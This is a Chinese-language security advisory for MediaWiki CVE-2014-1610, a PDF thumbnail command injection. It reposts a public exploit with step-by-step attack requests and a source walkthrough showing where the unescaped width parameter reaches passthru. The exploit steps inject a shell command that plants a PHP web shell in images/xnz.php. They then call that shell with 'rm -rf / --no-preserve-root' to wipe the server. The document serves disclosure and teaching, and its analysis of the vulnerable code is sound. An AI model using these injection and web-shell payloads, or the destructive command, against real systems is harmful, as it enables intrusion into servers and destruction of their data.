发布日期：2014-01-28
更新日期：2014-02-18
受影响系统：
MediaWiki MediaWiki <= 1.22.1
描述：
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BUGTRAQ ID: 65223
CVE(CAN) ID: CVE-2014-1610
MediaWiki是著名的wiki程序，运行于PHP+MySQL环境。
MediaWiki 1.22.2, 1.21.5, 1.19.11版本及之前版本启用了DjVu或PDF文件上传支持后，允许远程攻击者通过includes/media/DjVu.php中page参数内的shell元字符、thumb.php中w参数内的shell元字符、includes/media/Bitmap.php内的参数、includes/media/ImageHandler.php内的参数，利用此漏洞执行任意命令。
<*来源：Netanel Rubin
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
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#
# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)
# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014)
# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)
# Affected website : Wikipedia.org and more !
#
# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)
# Release dates : Feb 1, 2014
# Special Thanks to 2600 Thailand !
#
####################################################################
# Exploit:
####################################################################
1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)
:Upload
2. inject os cmd to upload a php-backdoor
?f=Longcat.pdf&w=10|`echo%20
"<?php%20system(\\$_GET[1]);">images/xnz.php`
3. access to php-backdoor!
?1=rm%20-rf%20%2f%20--no-preserve-root
4. happy pwning!!
# Related files:
####################################################################
thumb.php <-- extract all _GET array to params
/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width
options
/includes/media/ImageHandler.php
/includes/GlobalFunctions.php
/includes/filerepo/file/File.php
# Vulnerability Analysis:
####################################################################
1. thumb.php
This script used to resize images if it is configured to be done
when the web browser requests the image
<? ...
1.1 Called directly, use $_GET params
wfThumbHandleRequest();
1.2 Handle a thumbnail request via query parameters
function wfThumbHandleRequest() {
$params = get_magic_quotes_gpc()
? array_map( 'stripslashes', $_GET )
: $_GET; << WTF
wfStreamThumb( $params ); // stream the thumbnail
}
1.3 Stream a thumbnail specified by parameters
function wfStreamThumb( array $params ) {
...
$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts
uploaded.pdf file here
...
// Backwards compatibility parameters
if ( isset( $params['w'] ) ) {
$params['width'] = $params['w']; // << Inject os cmd here!
unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Thumbnail isn't already there, so create the new thumbnail...
$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image
by width/height
...
// Stream the file if there were no errors
$thumb->streamFile( $headers );
...
?>
2. /includes/filerepo/file/File.php
<? ...
function transform( $params, $flags = 0 ) { ...
$handler = $this->getHandler(); // << PDF Handler
...
$normalisedParams = $params;
$handler->normaliseParams( $this, $normalisedParams );
...
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
..
?>
3. /extensions/PdfHandler/PdfHandler_body.php
<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
$width = $params['width'];
...
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &
parameters
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}
-dLastPage={$page}";
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(
$srcPath );
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell
argument
$cmd .= wfEscapeShellArg( $dstPath ) . ")";
$cmd .= " 2>&1";
...
$err = wfShellExec( $cmd, $retval );
...
?>
4. /includes/GlobalFunctions.php
Execute a shell command, with time and memory limits
<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =
array() ) {
...
passthru( $cmd, $retval ); // << Execute here!!